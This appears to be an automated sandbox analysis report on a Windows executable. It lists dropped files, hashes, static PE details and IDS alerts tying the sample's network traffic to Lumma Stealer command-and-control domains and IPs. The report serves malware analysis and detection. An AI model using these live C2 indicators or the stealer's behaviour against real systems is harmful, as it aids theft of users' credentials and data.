SHA1:	C919123D4A4A3123DED72B3445BF98FC96C20846
SHA-256:	F50CBF6C3B129B43895AB854F81C3B7137CD892BE34C84082115838461643523
SHA-512:	5749E9033654803A20F22E2F0C77BF5B816AD3AB7ACD081882AB861B496C615F99BF4135C500C52EE1A1D3500F1487282726AF839CBABFBE504EA3BA91A6352A
Malicious:	false
Preview:	{"formautofill@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"pictureinpicture@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"screenshots@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"webcompat@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"default-theme@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"addons-search-detection@mozilla.com":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"google@search.mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"amazondotcom@search.mozilla.org":{"permissions":["internal:svgContex

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\extension-preferences.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	4.574593760134356
Encrypted:	false
SSDEEP:	24:Y5FKFpovPVKFpovPFKFpovdlgKFpovVfKFpovQ/SKFpovNkmKFpovHmKFpovdh9m:YTJpVWtbbFZ+Vpk5t
MD5:	9AB26458FA5ECE134CE4EFE3EA06EE6A
SHA1:	C919123D4A4A3123DED72B3445BF98FC96C20846
SHA-256:	F50CBF6C3B129B43895AB854F81C3B7137CD892BE34C84082115838461643523
SHA-512:	5749E9033654803A20F22E2F0C77BF5B816AD3AB7ACD081882AB861B496C615F99BF4135C500C52EE1A1D3500F1487282726AF839CBABFBE504EA3BA91A6352A
Malicious:	false
Preview:	{"formautofill@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"pictureinpicture@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"screenshots@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"webcompat@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"default-theme@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"addons-search-detection@mozilla.com":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"google@search.mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"amazondotcom@search.mozilla.org":{"permissions":["internal:svgContex

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\favicons.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\permissions.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.0733666067446506
Encrypted:	false
SSDEEP:	12:DBl/A0OWla0mwPxRymgObsCVR45wcYR4fmnsCVR4zkiA:DLhesh7Owd4+ji
MD5:	3FE9BE4D7170C741A25D43A3F2BC26DD
SHA1:	19998A10B008C8EEF0D8C3A86BAF8F540D97D369
SHA-256:	5E2262840FDC88E2E395C0E5F139AD1EA70DB88D08D061C59A82EA0F8D92C6E0
SHA-512:	68FF6216B645BAAEB6BD1CF4393280AFF974B1E871337DD3487F19231AFC9615E6E45C94530B9101805D65CD63804FA2ECCE16EB84F0821A691F31A3AD408DE7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......~s..F~s........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.034635539126218286
Encrypted:	false
SSDEEP:	3:GtlstFhv9di5GaDil18lbY/tlstFhv9di5GaDil18lBtJ89//alEl:GtWtYNE/tWtYNl89XuM
MD5:	4E188CF861C4633A420083B9D2E7600C
SHA1:	EB21AE649BD2850C2BCBBC0F42A9BBEFCE79775E
SHA-256:	9913F0CA88386D64B72DFAE6065CB787B443834073D76507408EAEFF53D837A9
SHA-512:	A0F0C08E564DFA9F1B02DEDEA8C0009F75045FB18DE477CF0E562225B8594B28E29665C41CB7FE21F2C1BE48A6925FE07A6DA47D9A15533E4F15CA71D8ECACB6
Malicious:	false
Preview:	..-......................JX...r.+...;..d.2..$r.<..-......................JX...r.+...;..d.2..$r.<........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	32824
Entropy (8bit):	0.03495147340493871
Encrypted:	false
SSDEEP:	3:Ol1LTn8HO2ha+rCl6lZSrV//mwl8XW3R2:K9g/e0lspuw93w
MD5:	B1C431DA71F916F9AB6AF52296F10550
SHA1:	008BB4A54AE1EAC9FA59A9587878FF3C280489A5
SHA-256:	91DDA80F92C37D412D934C039F28847D5146E350E6F84C975195F56B549511DB
SHA-512:	58581A18655544914BAB8CD9E20B7376949B3C465E744268F60AA59026CC97BC5D351F1A14A6C3A061C09D83F9A59A2C352E227B16C1B81D0A39F74FA5A18B5E
Malicious:	false
Preview:	7....-..........+...;..d..>..T.........+...;..d.XJ..r..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	modified
Size (bytes):	12849
Entropy (8bit):	5.456717034402617
Encrypted:	false
SSDEEP:	192:WnTFTRRUYbBp6MLZNMGaX96qU4ty+/3/7hD5RYiNBw8dJSl:cKedFNMIwyChdw80
MD5:	8A8C7BB5C8B66A0539A2DA14FA4FCF26
SHA1:	06C8F921492CF67B5D0B808A2E8AD4E285FF390E
SHA-256:	4561571241A9941698528680E6B9F06B143381FF0AA3C6E4F6A5D51239CF84CC
SHA-512:	7D5F4B5A87479E8AA0CD5C16B64C9796482B6DD18B9076705BFB099082141818E53B8326E7EE719F4EFEC96C8AA59ACB0A59CE5844E39D68F754D03864331683
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1729743609);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	12849
Entropy (8bit):	5.456717034402617
Encrypted:	false
SSDEEP:	192:WnTFTRRUYbBp6MLZNMGaX96qU4ty+/3/7hD5RYiNBw8dJSl:cKedFNMIwyChdw80
MD5:	8A8C7BB5C8B66A0539A2DA14FA4FCF26
SHA1:	06C8F921492CF67B5D0B808A2E8AD4E285FF390E
SHA-256:	4561571241A9941698528680E6B9F06B143381FF0AA3C6E4F6A5D51239CF84CC
SHA-512:	7D5F4B5A87479E8AA0CD5C16B64C9796482B6DD18B9076705BFB099082141818E53B8326E7EE719F4EFEC96C8AA59ACB0A59CE5844E39D68F754D03864331683
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1729743609);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\protections.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 1, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 2, cookie 0x1, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.04062825861060003
Encrypted:	false
SSDEEP:	3:lSGBl/l/zl9l/AltllPltlnKollzvulJOlzALRWemFxu7TuRjBFbrl58lcV+wgn8:ltBl/lqN1K4BEJYqWvLue3FMOrMZ0l
MD5:	60C09456D6362C6FBED48C69AA342C3C
SHA1:	58B6E22DAA48C75958B429F662DEC1C011AE74D3
SHA-256:	FE1A432A2CD096B7EEA870D46D07F5197E34B4D10666E6E1C357FAA3F2FE2389
SHA-512:	936DBC887276EF07732783B50EAFE450A8598B0492B8F6C838B337EF3E8A6EA595E7C7A2FA4B3E881887FAAE2D207B953A4C65ED8C964D93118E00D3E03882BD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......x..x..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 131075, last written using SQLite version 3042000, page size 512, file counter 5, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.0429414119865847
Encrypted:	false
SSDEEP:	24:JxkSldh/cEUcR9PzNFPFHx/GJRBdkOrDcRB1trwDeAq2gRMyxr3:TkSWEUo9LXtR+JdkOnohYsl
MD5:	23548AB73451BA9D4C5AB7C96070A8B3
SHA1:	2CED02BB6E816B7F03CC08B9E2BFFC6C9FA8D847
SHA-256:	FA09D867992D7966DF3F6133C60012EC4F0FCDCF5177141CB818F637C1B9930E
SHA-512:	F686E63995540D6D9F18BAC3277CE3D0D6483F54E8CC4446B7D8502EC21C379C47306376A891D384A500CAF805CFA81D2791FAA4099CA5C9C8AC6CED5636DA5B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\targeting.snapshot.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4412
Entropy (8bit):	5.008803197830273
Encrypted:	false
SSDEEP:	48:YrSAYcHqUQZpExB1+anOdW6VhOGVpWJzzcsYMsku7f86SLAVL775FtsfbcbyJFde:yccCTEr5NfJzzcBvbw6Kkvmc2Rn27
MD5:	496E9E3460FC6D8A27F90C915F40D651
SHA1:	5C00BE5E8A60BE9A88CA3041246BA547345D6967
SHA-256:	2D5D33208B1A2D09CF3B99541BD31A66A00C2BE7B487A8B8E5C99381C9DF04F9
SHA-512:	AF9DBD1A364974EDA2373267159DEBF717F893B7BD62630DEDA45B408B08B8280A11CA3BB9B86C4E04B8C7ED2A3932A2B22F78DBE14EDB06458AFC8A3BEC4B78
Malicious:	false
Preview:	{"environment":{"locale":"en-US","localeLanguageCode":"en","browserSettings":{"update":{"channel":"release","enabled":true,"autoDownload":true,"background":true}},"attributionData":{"campaign":"%2528not%2Bset%2529","content":"%2528not%2Bset%2529","dlsource":"mozorg","dltoken":"cd09ae95-e2cf-4b8b-8929-791b0dd48cdd","experiment":"%2528not%2Bset%2529","medium":"referral","source":"www.google.com","ua":"chrome","variation":"%2528not%2Bset%2529"},"currentDate":"2024-10-24T04:20:11.367Z","profileAgeCreated":1696486829272,"usesFirefoxSync":false,"isFxAEnabled":true,"isFxASignedIn":false,"sync":{"desktopDevices":0,"mobileDevices":0,"totalDevices":0},"xpinstallEnabled":true,"addonsInfo":{"addons":{"formautofill@mozilla.org":{"version":"1.0.1","type":"extension","isSystem":true,"isWebExtension":true,"name":"Form Autofill","userDisabled":false,"installDate":"2023-09-28T01:41:23.000Z"},"pictureinpicture@mozilla.org":{"version":"1.0.0","type":"extension","isSystem":true,"isWebExtension":true,"name"

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\targeting.snapshot.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4412
Entropy (8bit):	5.008803197830273
Encrypted:	false
SSDEEP:	48:YrSAYcHqUQZpExB1+anOdW6VhOGVpWJzzcsYMsku7f86SLAVL775FtsfbcbyJFde:yccCTEr5NfJzzcBvbw6Kkvmc2Rn27
MD5:	496E9E3460FC6D8A27F90C915F40D651
SHA1:	5C00BE5E8A60BE9A88CA3041246BA547345D6967
SHA-256:	2D5D33208B1A2D09CF3B99541BD31A66A00C2BE7B487A8B8E5C99381C9DF04F9
SHA-512:	AF9DBD1A364974EDA2373267159DEBF717F893B7BD62630DEDA45B408B08B8280A11CA3BB9B86C4E04B8C7ED2A3932A2B22F78DBE14EDB06458AFC8A3BEC4B78
Malicious:	false
Preview:	{"environment":{"locale":"en-US","localeLanguageCode":"en","browserSettings":{"update":{"channel":"release","enabled":true,"autoDownload":true,"background":true}},"attributionData":{"campaign":"%2528not%2Bset%2529","content":"%2528not%2Bset%2529","dlsource":"mozorg","dltoken":"cd09ae95-e2cf-4b8b-8929-791b0dd48cdd","experiment":"%2528not%2Bset%2529","medium":"referral","source":"www.google.com","ua":"chrome","variation":"%2528not%2Bset%2529"},"currentDate":"2024-10-24T04:20:11.367Z","profileAgeCreated":1696486829272,"usesFirefoxSync":false,"isFxAEnabled":true,"isFxASignedIn":false,"sync":{"desktopDevices":0,"mobileDevices":0,"totalDevices":0},"xpinstallEnabled":true,"addonsInfo":{"addons":{"formautofill@mozilla.org":{"version":"1.0.1","type":"extension","isSystem":true,"isWebExtension":true,"name":"Form Autofill","userDisabled":false,"installDate":"2023-09-28T01:41:23.000Z"},"pictureinpicture@mozilla.org":{"version":"1.0.0","type":"extension","isSystem":true,"isWebExtension":true,"name"

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.439602919305695
Encrypted:	false
SSDEEP:	6:5sISnXUhXUEZ+lX1CGdKUe6tE9+AQy0lF+ut0:5sISX4Q1CGAFD9+nVFHt0
MD5:	E61656DF64724C5C106DC9D07947E1CD
SHA1:	2BB76BD0EF4CAB76412374D14B7A2EA1E6C15C4D
SHA-256:	39506BD0B3243FBED75D99A31D5631A4DDAE6CD047305004327B2122EABC3379
SHA-512:	86E78A65EC7A6DD034504AD804C7C0C6C166EFCBD9E982A526EB64895DC14887F1626CD42767D71792B60D4DB0438380F8293DEB0A5FBBA7DCD99E120E321DD1
Malicious:	false
Preview:	....'4/...E..U.g...F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0.................:.@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.540153190114147
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'930'688 bytes
MD5:	85a42afebd3b50990c2588000aa36f8c
SHA1:	f90e8f26bfe7b3a3a523df8bd205b4a461d06f00
SHA256:	a6fb4829251c449d3896cf0ea7f0e513f043f29a5e6e7c7d9e735d030d43682c
SHA512:	6072e6a37494419e0ff1e36230bffbafb4474a0666650cea850bbb47d4bfd10a91590d3733d7a50f7efc156d734d65f67cb39aed29409fa6882270adeb07704c
SSDEEP:	49152:RCl8wcS/M5P+isYPjCocpUkRBEmLWSfqGslwDhH5F/0fkW:RCRcS/MhrnPjCocpUkRB1CS/slwDhZl6
TLSH:	AED529D1B40676CFD08A26789467CD8AA85D03BD472109C3F878B87AFDA7DC112B6C6D
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...J..f.............................@0...........@..........................p0.....u.,...@.................................W...k..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x704000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66FFF14A [Fri Oct 4 13:44:42 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FE6C4E43FDAh
setbe byte ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FE6C4E45FD5h
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5f057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5f1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x5d000	0x25e00	7d3c2849fde91250acd19cc238ed5978	False	0.999445647689769	data	7.978140853440023	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5e000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5f000	0x1000	0x200	fe72def8b74193a84232a780098a7ce0	False	0.150390625	data	1.04205214219471	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
tcduwnvy	0x60000	0x2a3000	0x2a2200	84fd9e4faddc966792e4b61ac0b90833	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
djrlngwz	0x303000	0x1000	0x400	d7a6de766f07a20d8ae9b55da5044edb	False	0.72265625	data	5.767204128974046	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x304000	0x3000	0x2200	f23ba9a00196e7624e1bcbe1d8f79f20	False	0.05974264705882353	DOS executable (COM)	0.8088339908351577	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-24T04:57:08.592299+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.6	56185	1.1.1.1	53	UDP
2024-10-24T04:57:08.605467+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.6	50468	1.1.1.1	53	UDP
2024-10-24T04:57:08.615810+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.6	62037	1.1.1.1	53	UDP
2024-10-24T04:57:08.626495+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.6	51654	1.1.1.1	53	UDP
2024-10-24T04:57:08.644773+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.6	62282	1.1.1.1	53	UDP
2024-10-24T04:57:08.665274+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.6	59230	1.1.1.1	53	UDP
2024-10-24T04:57:08.677233+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.6	52641	1.1.1.1	53	UDP
2024-10-24T04:57:08.689273+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.6	62851	1.1.1.1	53	UDP
2024-10-24T04:57:10.263189+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.6	49711	104.102.49.254	443	TCP
2024-10-24T04:57:11.173669+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49713	104.21.53.8	443	TCP
2024-10-24T04:57:11.173669+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49713	104.21.53.8	443	TCP
2024-10-24T04:57:12.476175+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49714	104.21.53.8	443	TCP
